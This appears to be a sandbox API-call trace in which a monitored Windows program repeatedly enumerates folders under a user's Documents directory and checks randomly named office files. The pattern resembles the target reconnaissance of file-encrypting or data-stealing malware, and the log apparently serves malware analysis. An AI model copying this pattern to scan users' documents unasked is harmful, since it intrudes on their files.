lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh", nBufferLength=0x46, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh", lpFilePart=0x0) returned 0x45 [0162.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea10) returned 1 [0162.383] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0162.383] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh", nBufferLength=0x46, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh", lpFilePart=0x0) returned 0x45 [0162.383] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\n_go2 uxegr7yuru5exh\\*"), lpFindFileData=0x5a2e7c0 | out: lpFindFileData=0x5a2e7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x130fc420, ftCreationTime.dwHighDateTime=0x1d99399, ftLastAccessTime.dwLowDateTime=0xd294f3f0, ftLastAccessTime.dwHighDateTime=0x1d99b01, ftLastWriteTime.dwLowDateTime=0xd294f3f0, ftLastWriteTime.dwHighDateTime=0x1d99b01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f28 [0162.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea10) returned 1 [0162.383] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0162.383] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh", nBufferLength=0x46, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh", lpFilePart=0x0) returned 0x45 [0162.384] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\n_go2 uxegr7yuru5exh\\*"), lpFindFileData=0x5a2e7c0 | out: lpFindFileData=0x5a2e7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x130fc420, ftCreationTime.dwHighDateTime=0x1d99399, ftLastAccessTime.dwLowDateTime=0xd294f3f0, ftLastAccessTime.dwHighDateTime=0x1d99b01, ftLastWriteTime.dwLowDateTime=0xd294f3f0, ftLastWriteTime.dwHighDateTime=0x1d99b01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f68 [0162.384] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x130fc420, ftCreationTime.dwHighDateTime=0x1d99399, ftLastAccessTime.dwLowDateTime=0xd294f3f0, ftLastAccessTime.dwHighDateTime=0x1d99b01, ftLastWriteTime.dwLowDateTime=0xd294f3f0, ftLastWriteTime.dwHighDateTime=0x1d99b01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.384] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe99380, ftCreationTime.dwHighDateTime=0x1d9990a, ftLastAccessTime.dwLowDateTime=0xbe7b13b0, ftLastAccessTime.dwHighDateTime=0x1d99c3f, ftLastWriteTime.dwLowDateTime=0xbe7b13b0, ftLastWriteTime.dwHighDateTime=0x1d99c3f, nFileSizeHigh=0x0, nFileSizeLow=0x227b, dwReserved0=0x0, dwReserved1=0x0, cFileName="nFwTJIIoNnNX.ppt", cAlternateFileName="NFWTJI~1.PPT")) returned 1 [0162.384] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62013600, ftCreationTime.dwHighDateTime=0x1d99109, ftLastAccessTime.dwLowDateTime=0x7de652f0, ftLastAccessTime.dwHighDateTime=0x1d99b91, ftLastWriteTime.dwLowDateTime=0x7de652f0, ftLastWriteTime.dwHighDateTime=0x1d99b91, nFileSizeHigh=0x0, nFileSizeLow=0xefc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="sE mfYJTc7ETftxB-f.rtf", cAlternateFileName="SEMFYJ~1.RTF")) returned 1 [0162.384] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88ed3720, ftCreationTime.dwHighDateTime=0x1d99c29, ftLastAccessTime.dwLowDateTime=0xe57b7ab0, ftLastAccessTime.dwHighDateTime=0x1d99cec, ftLastWriteTime.dwLowDateTime=0xe57b7ab0, ftLastWriteTime.dwHighDateTime=0x1d99cec, nFileSizeHigh=0x0, nFileSizeLow=0xeeab, dwReserved0=0x0, dwReserved1=0x0, cFileName="V0q1dP7fHLy6t3x9.ods", cAlternateFileName="V0Q1DP~1.ODS")) returned 1 [0162.384] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88ed3720, ftCreationTime.dwHighDateTime=0x1d99c29, ftLastAccessTime.dwLowDateTime=0xe57b7ab0, ftLastAccessTime.dwHighDateTime=0x1d99cec, ftLastWriteTime.dwLowDateTime=0xe57b7ab0, ftLastWriteTime.dwHighDateTime=0x1d99cec, nFileSizeHigh=0x0, nFileSizeLow=0xeeab, dwReserved0=0x0, dwReserved1=0x0, cFileName="V0q1dP7fHLy6t3x9.ods", cAlternateFileName="V0Q1DP~1.ODS")) returned 0 [0162.384] FindClose (in: hFindFile=0x3b4f28 | out: hFindFile=0x3b4f28) returned 1 [0162.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e7cc) returned 1 [0162.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea2c) returned 1 [0162.384] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x130fc420, ftCreationTime.dwHighDateTime=0x1d99399, ftLastAccessTime.dwLowDateTime=0xd294f3f0, ftLastAccessTime.dwHighDateTime=0x1d99b01, ftLastWriteTime.dwLowDateTime=0xd294f3f0, ftLastWriteTime.dwHighDateTime=0x1d99b01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.384] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe99380, ftCreationTime.dwHighDateTime=0x1d9990a, ftLastAccessTime.dwLowDateTime=0xbe7b13b0, ftLastAccessTime.dwHighDateTime=0x1d99c3f, ftLastWriteTime.dwLowDateTime=0xbe7b13b0, ftLastWriteTime.dwHighDateTime=0x1d99c3f, nFileSizeHigh=0x0, nFileSizeLow=0x227b, dwReserved0=0x0, dwReserved1=0x0, cFileName="nFwTJIIoNnNX.ppt", cAlternateFileName="NFWTJI~1.PPT")) returned 1 [0162.385] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62013600, ftCreationTime.dwHighDateTime=0x1d99109, ftLastAccessTime.dwLowDateTime=0x7de652f0, ftLastAccessTime.dwHighDateTime=0x1d99b91, ftLastWriteTime.dwLowDateTime=0x7de652f0, ftLastWriteTime.dwHighDateTime=0x1d99b91, nFileSizeHigh=0x0, nFileSizeLow=0xefc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="sE mfYJTc7ETftxB-f.rtf", cAlternateFileName="SEMFYJ~1.RTF")) returned 1 [0162.385] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88ed3720, ftCreationTime.dwHighDateTime=0x1d99c29, ftLastAccessTime.dwLowDateTime=0xe57b7ab0, ftLastAccessTime.dwHighDateTime=0x1d99cec, ftLastWriteTime.dwLowDateTime=0xe57b7ab0, ftLastWriteTime.dwHighDateTime=0x1d99cec, nFileSizeHigh=0x0, nFileSizeLow=0xeeab, dwReserved0=0x0, dwReserved1=0x0, cFileName="V0q1dP7fHLy6t3x9.ods", cAlternateFileName="V0Q1DP~1.ODS")) returned 1 [0162.385] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0162.385] FindClose (in: hFindFile=0x3b4f68 | out: hFindFile=0x3b4f68) returned 1 [0162.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e7cc) returned 1 [0162.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea2c) returned 1 [0162.386] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\nFwTJIIoNnNX.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\n_go2 uxegr7yuru5exh\\nfwtjiionnnx.ppt")) returned 0x20 [0162.386] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\nFwTJIIoNnNX.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x57 [0162.386] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\nFwTJIIoNnNX.ppt", nBufferLength=0x57, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\nFwTJIIoNnNX.ppt", lpFilePart=0x0) returned 0x56 [0162.386] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\nFwTJIIoNnNX.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\n_go2 uxegr7yuru5exh\\nfwtjiionnnx.ppt")) returned 0x20 [0162.387] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\sE mfYJTc7ETftxB-f.rtf" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\n_go2 uxegr7yuru5exh\\se mfyjtc7etftxb-f.rtf")) returned 0x20 [0162.387] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\V0q1dP7fHLy6t3x9.ods" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\n_go2 uxegr7yuru5exh\\v0q1dp7fhly6t3x9.ods")) returned 0x20 [0162.387] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\1O4.csv" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\1o4.csv")) returned 0x20 [0162.388] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\apPn7N4hT Lo.pdf" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\appn7n4ht lo.pdf")) returned 0x20 [0162.388] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\apPn7N4hT Lo.pdf", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0162.388] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\apPn7N4hT Lo.pdf", nBufferLength=0x42, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\apPn7N4hT Lo.pdf", lpFilePart=0x0) returned 0x41 [0162.388] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\apPn7N4hT Lo.pdf" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\appn7n4ht lo.pdf")) returned 0x20 [0162.388] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\B77 gdQD3RQ-F8wv1.rtf" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\b77 gdqd3rq-f8wv1.rtf")) returned 0x20 [0162.388] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\hd6YwW0KHas8.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\hd6yww0khas8.ppt")) returned 0x20 [0162.389] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\hd6YwW0KHas8.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0162.389] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\hd6YwW0KHas8.ppt", nBufferLength=0x42, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\hd6YwW0KHas8.ppt", lpFilePart=0x0) returned 0x41 [0162.390] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\hd6YwW0KHas8.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\hd6yww0khas8.ppt")) returned 0x20 [0162.390] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\mHccYT.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\mhccyt.docx")) returned 0x20 [0162.390] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\mHccYT.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0162.390] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\mHccYT.docx", nBufferLength=0x3d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\mHccYT.docx", lpFilePart=0x0) returned 0x3c [0162.390] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\mHccYT.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\mhccyt.docx")) returned 0x20 [0162.390] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n7u6-hdfZCMK12Ax.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\n7u6-hdfzcmk12ax.ppt")) returned 0x20 [0162.391] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n7u6-hdfZCMK12Ax.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0162.391] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n7u6-hdfZCMK12Ax.ppt", nBufferLength=0x46, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n7u6-hdfZCMK12Ax.ppt", lpFilePart=0x0) returned 0x45 [0162.391] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n7u6-hdfZCMK12Ax.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\n7u6-hdfzcmk12ax.ppt")) returned 0x20 [0162.391] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq")) returned 0x10 [0162.391] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq")) returned 0x10 [0162.392] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0162.392] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ", lpFilePart=0x0) returned 0x2b [0162.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea90) returned 1 [0162.392] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0162.392] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ", lpFilePart=0x0) returned 0x2b [0162.392] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\*"), lpFindFileData=0x5a2e840 | out: lpFindFileData=0x5a2e840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf85ff990, ftCreationTime.dwHighDateTime=0x1d98f08, ftLastAccessTime.dwLowDateTime=0x69f07f80, ftLastAccessTime.dwHighDateTime=0x1d996bb, ftLastWriteTime.dwLowDateTime=0x69f07f80, ftLastWriteTime.dwHighDateTime=0x1d996bb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f68 [0162.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea90) returned 1 [0162.392] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0162.392] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ", lpFilePart=0x0) returned 0x2b [0162.393] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\*"), lpFindFileData=0x5a2e840 | out: lpFindFileData=0x5a2e840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf85ff990, ftCreationTime.dwHighDateTime=0x1d98f08, ftLastAccessTime.dwLowDateTime=0x69f07f80, ftLastAccessTime.dwHighDateTime=0x1d996bb, ftLastWriteTime.dwLowDateTime=0x69f07f80, ftLastWriteTime.dwHighDateTime=0x1d996bb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f28 [0162.393] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf85ff990, ftCreationTime.dwHighDateTime=0x1d98f08, ftLastAccessTime.dwLowDateTime=0x69f07f80, ftLastAccessTime.dwHighDateTime=0x1d996bb, ftLastWriteTime.dwLowDateTime=0x69f07f80, ftLastWriteTime.dwHighDateTime=0x1d996bb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.393] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb078200, ftCreationTime.dwHighDateTime=0x1d98f4c, ftLastAccessTime.dwLowDateTime=0x3695d300, ftLastAccessTime.dwHighDateTime=0x1d99239, ftLastWriteTime.dwLowDateTime=0x3695d300, ftLastWriteTime.dwHighDateTime=0x1d99239, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="9bDYANhq-V", cAlternateFileName="9BDYAN~1")) returned 1 [0162.393] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe32f3710, ftCreationTime.dwHighDateTime=0x1d98d51, ftLastAccessTime.dwLowDateTime=0xe5fa3f80, ftLastAccessTime.dwHighDateTime=0x1d98db5, ftLastWriteTime.dwLowDateTime=0xe5fa3f80, ftLastWriteTime.dwHighDateTime=0x1d98db5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Z0wgHK", cAlternateFileName="")) returned 1 [0162.393] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a8fc3a0, ftCreationTime.dwHighDateTime=0x1d99d88, ftLastAccessTime.dwLowDateTime=0xfb0f7710, ftLastAccessTime.dwHighDateTime=0x1d99d8b, ftLastWriteTime.dwLowDateTime=0xfb0f7710, ftLastWriteTime.dwHighDateTime=0x1d99d8b, nFileSizeHigh=0x0, nFileSizeLow=0x3873, dwReserved0=0x0, dwReserved1=0x0, cFileName="_E4_60KSBs_D7ZX.pptx", cAlternateFileName="_E4_60~1.PPT")) returned 1 [0162.393] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a8fc3a0, ftCreationTime.dwHighDateTime=0x1d99d88, ftLastAccessTime.dwLowDateTime=0xfb0f7710, ftLastAccessTime.dwHighDateTime=0x1d99d8b, ftLastWriteTime.dwLowDateTime=0xfb0f7710, ftLastWriteTime.dwHighDateTime=0x1d99d8b, nFileSizeHigh=0x0, nFileSizeLow=0x3873, dwReserved0=0x0, dwReserved1=0x0, cFileName="_E4_60KSBs_D7ZX.pptx", cAlternateFileName="_E4_60~1.PPT")) returned 0 [0162.393] FindClose (in: hFindFile=0x3b4f68 | out: hFindFile=0x3b4f68) returned 1 [0162.394] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e84c) returned 1 [0162.394] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eaac) returned 1 [0162.394] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf85ff990, ftCreationTime.dwHighDateTime=0x1d98f08, ftLastAccessTime.dwLowDateTime=0x69f07f80, ftLastAccessTime.dwHighDateTime=0x1d996bb, ftLastWriteTime.dwLowDateTime=0x69f07f80, ftLastWriteTime.dwHighDateTime=0x1d996bb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.394] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb078200, ftCreationTime.dwHighDateTime=0x1d98f4c, ftLastAccessTime.dwLowDateTime=0x3695d300, ftLastAccessTime.dwHighDateTime=0x1d99239, ftLastWriteTime.dwLowDateTime=0x3695d300, ftLastWriteTime.dwHighDateTime=0x1d99239, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="9bDYANhq-V", cAlternateFileName="9BDYAN~1")) returned 1 [0162.394] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe32f3710, ftCreationTime.dwHighDateTime=0x1d98d51, ftLastAccessTime.dwLowDateTime=0xe5fa3f80, ftLastAccessTime.dwHighDateTime=0x1d98db5, ftLastWriteTime.dwLowDateTime=0xe5fa3f80, ftLastWriteTime.dwHighDateTime=0x1d98db5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Z0wgHK", cAlternateFileName="")) returned 1 [0162.394] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a8fc3a0, ftCreationTime.dwHighDateTime=0x1d99d88, ftLastAccessTime.dwLowDateTime=0xfb0f7710, ftLastAccessTime.dwHighDateTime=0x1d99d8b, ftLastWriteTime.dwLowDateTime=0xfb0f7710, ftLastWriteTime.dwHighDateTime=0x1d99d8b, nFileSizeHigh=0x0, nFileSizeLow=0x3873, dwReserved0=0x0, dwReserved1=0x0, cFileName="_E4_60KSBs_D7ZX.pptx", cAlternateFileName="_E4_60~1.PPT")) returned 1 [0162.394] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0162.394] FindClose (in: hFindFile=0x3b4f28 | out: hFindFile=0x3b4f28) returned 1 [0162.394] SetThreadErrorMode 